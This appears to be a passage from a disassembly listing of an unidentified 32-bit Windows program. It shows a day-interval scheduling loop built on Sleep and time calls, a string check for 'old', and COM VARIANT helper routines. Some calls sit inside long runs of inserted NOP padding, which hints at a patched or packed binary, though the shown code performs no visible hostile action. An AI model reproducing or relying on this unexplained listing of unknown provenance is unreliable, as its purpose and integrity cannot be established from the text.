loc_429424:				; CODE XREF: sub_42908F+2CAj
		lea	eax, [ebp+var_4010]
		push	eax
		lea	ecx, [ebp+var_2010]
		push	ecx
		call	dword_4330CC	; lstrcpyA
		push	2000h
		push	0
		lea	edx, [ebp+var_4010]
		push	edx
		call	sub_431752	; memset
		add	esp, 0Ch


loc_42944E:				; CODE XREF: sub_42908F+393j
		push	3
		push	offset aOld	; "old"
		lea	eax, [ebp+var_2010]
		push	eax
		call	dword_4331AC	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42948D
		lea	ecx, [ebp+var_4010]
		push	ecx
		call	sub_4221DB
		add	esp, 4
		test	eax, eax
		jz	short loc_42948D
		push	1
		lea	edx, [ebp+var_4010]
		push	edx
		call	sub_421C92
		add	esp, 8


loc_42948D:				; CODE XREF: sub_42908F+3D8j
					; sub_42908F+3EBj
		cmp	[ebp+var_10], 0FFFFFFFFh
		jnz	short loc_429495
		jmp	short loc_42949A
; ---------------------------------------------------------------------------


loc_429495:				; CODE XREF: sub_42908F+402j
		jmp	loc_42923E
; ---------------------------------------------------------------------------


loc_42949A:				; CODE XREF: sub_42908F+14Cj
					; sub_42908F+1CAj ...
		mov	ecx, [ebp+var_8044]
		add	ecx, 10h
		call	sub_428280
		test	eax, eax
		jnz	short loc_4294B3
		mov	[ebp+var_801C],	0


loc_4294B3:				; CODE XREF: sub_42908F+41Bj
		mov	al, [ebp+var_801C]
		mov	[ebp+var_8040],	al
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4014]
		call	sub_431642
		mov	al, [ebp+var_8040]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42908F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4294E5	proc near		; CODE XREF: sub_4296C8+F0p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4294E5
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4331A4	; time
		add	esp, 4
		mov	ecx, [ebp+var_28]
		add	ecx, 2040h
		push	ecx
		mov	edx, esp
		mov	[ebp+var_20], esp
		push	ecx
		mov	ecx, edx
		call	sub_431636
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_425FC6
		push	24h
		call	dword_4330E0	; Sleep
		push	0
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_4255E6
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	[ebp+var_18], 2
		push	23h
		call	dword_4330E0	; Sleep


loc_429572:				; CODE XREF: sub_4294E5:loc_42968Fj
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+20h]
		test	eax, eax
		jnz	loc_429694
		cmp	[ebp+var_18], 2
		jnz	loc_429694
		cmp	[ebp+var_18], 0
		jle	short loc_42959A
		mov	ecx, [ebp+var_28]
		call	sub_42908F


loc_42959A:				; CODE XREF: sub_4294E5+ABj
					; sub_4294E5+E1j
		cmp	[ebp+var_18], 0
		jle	short loc_4295AB
		push	858h
		call	dword_4330E0	; Sleep


loc_4295AB:				; CODE XREF: sub_4294E5+B9j
		cmp	[ebp+var_18], 0FFFFFFFFh
		jle	short loc_4295BE
		lea	ecx, [ebp+var_14]
		push	ecx
		call	dword_4331A4	; time
		add	esp, 4


loc_4295BE:				; CODE XREF: sub_4294E5+CAj
		mov	edx, [ebp+var_28]
		mov	eax, [edx]
		cmp	eax, [ebp+var_14]
		jg	short loc_42959A
		push	0
		call	dword_4332A8
		test	eax, eax
		jge	short loc_4295DB
		xor	al, al
		jmp	loc_4296B7
; ---------------------------------------------------------------------------


loc_4295DB:				; CODE XREF: sub_4294E5+EDj
		mov	ecx, [ebp+var_28]
		call	sub_42852F
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_1C], ecx
		push	28h
		call	dword_4330E0	; Sleep
		call	dword_4332A4
		push	26h
		call	dword_4330E0	; Sleep
		cmp	[ebp+var_1C], 0
		jle	short loc_429622
		push	0
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_4255E6
		mov	[ebp+var_38], eax
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_38]
		mov	[edx], eax
		jmp	short loc_42964D
; ---------------------------------------------------------------------------


loc_429622:				; CODE XREF: sub_4294E5+121j
		push	22h
		call	dword_4330E0	; Sleep
		push	15182h
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_4255E6
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		mov	edx, [ebp+var_3C]
		mov	[ecx], edx
		push	23h
		call	dword_4330E0	; Sleep


loc_42964D:				; CODE XREF: sub_4294E5+13Bj
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4331A4	; time
		add	esp, 4
		mov	ecx, [ebp+var_28]
		mov	edx, [ecx]
		cmp	edx, [ebp+var_14]
		jge	short loc_42968F
		push	24h
		call	dword_4330E0	; Sleep
		push	15181h
		mov	ecx, [ebp+var_28]
		add	ecx, 8
		call	sub_4255E6
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_40]
		mov	[eax], ecx
		push	25h
		call	dword_4330E0	; Sleep


loc_42968F:				; CODE XREF: sub_4294E5+17Dj
		jmp	loc_429572
; ---------------------------------------------------------------------------


loc_429694:				; CODE XREF: sub_4294E5+97j
					; sub_4294E5+A1j
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_4296AE
; ---------------------------------------------------------------------------


loc_42969F:				; DATA XREF: HLXc:00435D6Co
		mov	[ebp+var_24], 0
		mov	eax, offset loc_4296A9
		retn
; ---------------------------------------------------------------------------


loc_4296A9:				; DATA XREF: sub_4294E5+1BEo
		mov	al, [ebp+var_24]
		jmp	short loc_4296B7
; ---------------------------------------------------------------------------


loc_4296AE:				; CODE XREF: sub_4294E5+1B8j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	al, 1


loc_4296B7:				; CODE XREF: sub_4294E5+F1j
					; sub_4294E5+1C7j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4294E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4296C8	proc near		; CODE XREF: HLXc:004318E9p

arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, offset dword_43BD30
		call	sub_43163C
		push	20h
		call	dword_4330E0	; Sleep
		mov	ecx, offset dword_439CF0
		call	sub_4294E5
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4296C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429830	proc near		; CODE XREF: sub_428520+8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 2
		mov	ecx, [ebp+var_10]
		add	ecx, 2040h
		call	sub_431642
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 203Ch
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_422BB1
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		add	ecx, 4
		call	sub_431642
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4298B0	proc near		; CODE XREF: sub_4284FF+8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4298B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 4
		call	sub_43164E
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		call	sub_422A1E
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 203Ch
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_10]
		add	ecx, 2040h
		call	sub_43164E
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4298B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429930	proc near		; CODE XREF: sub_42852F+39p
					; sub_42852F+7Dp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429950	proc near		; CODE XREF: sub_42852F+887p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		call	sub_429A60
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429980	proc near		; CODE XREF: sub_42852F+7E2p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429980
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		mov	[ebp+var_18], ecx
		mov	ecx, [ebp+var_18]
		call	sub_42414A
		push	0Ch
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], 0
		cmp	[ebp+var_14], 0
		jz	short loc_4299D1
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_424188
		mov	[ebp+var_1C], eax
		jmp	short loc_4299D8
; ---------------------------------------------------------------------------


loc_4299D1:				; CODE XREF: sub_429980+3Ej
		mov	[ebp+var_1C], 0


loc_4299D8:				; CODE XREF: sub_429980+4Fj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_10]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A00	proc near		; CODE XREF: sub_42852F+7FFp
					; sub_42852F+A61p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429A20
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429AA0
		mov	[ebp+var_8], eax
		jmp	short loc_429A27
; ---------------------------------------------------------------------------


loc_429A20:				; CODE XREF: sub_429A00+Fj
		mov	[ebp+var_8], 0


loc_429A27:				; CODE XREF: sub_429A00+1Ej
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A30	proc near		; CODE XREF: sub_42852F+7F2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429A50
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429AB0
		mov	[ebp+var_8], eax
		jmp	short loc_429A57
; ---------------------------------------------------------------------------


loc_429A50:				; CODE XREF: sub_429A30+Fj
		mov	[ebp+var_8], 0


loc_429A57:				; CODE XREF: sub_429A30+1Ej
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A60	proc near		; CODE XREF: sub_429950+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429A79
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		call	sub_429A80


loc_429A79:				; CODE XREF: sub_429A60+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A80	proc near		; CODE XREF: sub_429A60+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	dword_4330AC	; InterlockedIncrement
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AA0	proc near		; CODE XREF: sub_429A00+16p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
sub_429AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AB0	proc near		; CODE XREF: sub_429A30+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429AD2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		call	dword_433278
		mov	[ebp+var_8], eax
		jmp	short loc_429AD9
; ---------------------------------------------------------------------------


loc_429AD2:				; CODE XREF: sub_429AB0+Fj
		mov	[ebp+var_8], 0


loc_429AD9:				; CODE XREF: sub_429AB0+20j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429AE0	proc near		; CODE XREF: sub_42852F+871p
					; sub_429B00+3Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433268
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B00	proc near		; CODE XREF: sub_42852F+8DAp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_14		= word ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429B00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	[ebp+var_24], ecx
		mov	eax, [ebp+var_24]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 0Bh
		jnz	short loc_429B39
		mov	edx, [ebp+var_24]
		movsx	eax, word ptr [edx+8]
		test	eax, eax
		setnz	al
		jmp	short loc_429B74
; ---------------------------------------------------------------------------


loc_429B39:				; CODE XREF: sub_429B00+29j
		lea	ecx, [ebp+var_1C]
		call	sub_429AE0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_24]
		push	ecx
		push	0Bh
		lea	ecx, [ebp+var_1C]
		call	sub_429C40
		movsx	edx, [ebp+var_14]
		test	edx, edx
		setnz	al
		mov	[ebp+var_20], al
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_429CA0
		mov	al, [ebp+var_20]


loc_429B74:				; CODE XREF: sub_429B00+37j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_429B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B90	proc near		; CODE XREF: sub_42852F+8CAp

var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 2
		jnz	short loc_429BB1
		mov	edx, [ebp+var_4]
		mov	ax, [ebp+arg_0]
		mov	[edx+8], ax
		jmp	short loc_429BEA
; ---------------------------------------------------------------------------


loc_429BB1:				; CODE XREF: sub_429B90+12j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 0Bh
		jnz	short loc_429BCF
		movsx	eax, [ebp+arg_0]
		neg	eax
		sbb	eax, eax
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], ax
		jmp	short loc_429BEA
; ---------------------------------------------------------------------------


loc_429BCF:				; CODE XREF: sub_429B90+2Cj
		mov	ecx, [ebp+var_4]
		call	sub_429C00
		mov	edx, [ebp+var_4]
		mov	word ptr [edx],	2
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+arg_0]
		mov	[eax+8], cx


loc_429BEA:				; CODE XREF: sub_429B90+1Fj
					; sub_429B90+3Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C00	proc near		; CODE XREF: sub_429B90+42p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433264
		push	eax
		call	sub_429C20
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_429C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C20	proc near		; CODE XREF: sub_429C00+12p
					; sub_429C40+46p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jge	short loc_429C32
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431952


loc_429C32:				; CODE XREF: sub_429C20+7j
		pop	ebp
		retn
sub_429C20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429C40	proc near		; CODE XREF: sub_429B00+51p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_429C53
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax


loc_429C53:				; CODE XREF: sub_429C40+Bj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_429C70
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	edx, ecx
		jz	short loc_429C8E


loc_429C70:				; CODE XREF: sub_429C40+19j
		mov	dx, word ptr [ebp+arg_0]
		push	edx
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_433260
		push	eax
		call	sub_429C20
		add	esp, 4


loc_429C8E:				; CODE XREF: sub_429C40+2Ej
		mov	esp, ebp
		pop	ebp
		retn	8
sub_429C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CA0	proc near		; CODE XREF: sub_42852F+A7Ep
					; sub_42852F+AF9p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_433264
		push	eax
		call	sub_429C20
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_429CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CC0	proc near		; CODE XREF: sub_42852F+901p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], 0
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		push	eax
		call	dword ptr [edx+0B4h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_429CFE
		push	offset dword_4375F0
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_431960


loc_429CFE:				; CODE XREF: sub_429CC0+2Aj
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_429E50
		mov	ecx, [ebp+var_C]
		or	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D20	proc near		; CODE XREF: sub_42852F+8B3p

var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_429A00
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_1C]
		push	eax
		call	dword ptr [edx+104h]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jge	short loc_429D7C
		push	offset dword_4375F0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_431960


loc_429D7C:				; CODE XREF: sub_429D20+48j
		mov	ax, [ebp+var_14]
		mov	[ebp+var_18], ax
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_42414A
		mov	ax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429D20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DB0	proc near		; CODE XREF: sub_42852F+E7p
					; sub_42852F+6FBp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_429EA0
		mov	esp, ebp
		pop	ebp
		retn
sub_429DB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DD0	proc near		; CODE XREF: sub_42852F+B0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_429EA0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DF0	proc near		; CODE XREF: sub_42852F+8A8p
					; sub_42852F+8FAp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_429E09
		push	80004003h
		call	sub_431952


loc_429E09:				; CODE XREF: sub_429DF0+Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		mov	esp, ebp
		pop	ebp
		retn
sub_429DF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E20	proc near		; CODE XREF: sub_42852F+933p
					; sub_42852F+A0Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		call	sub_429F20
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429E20	endp

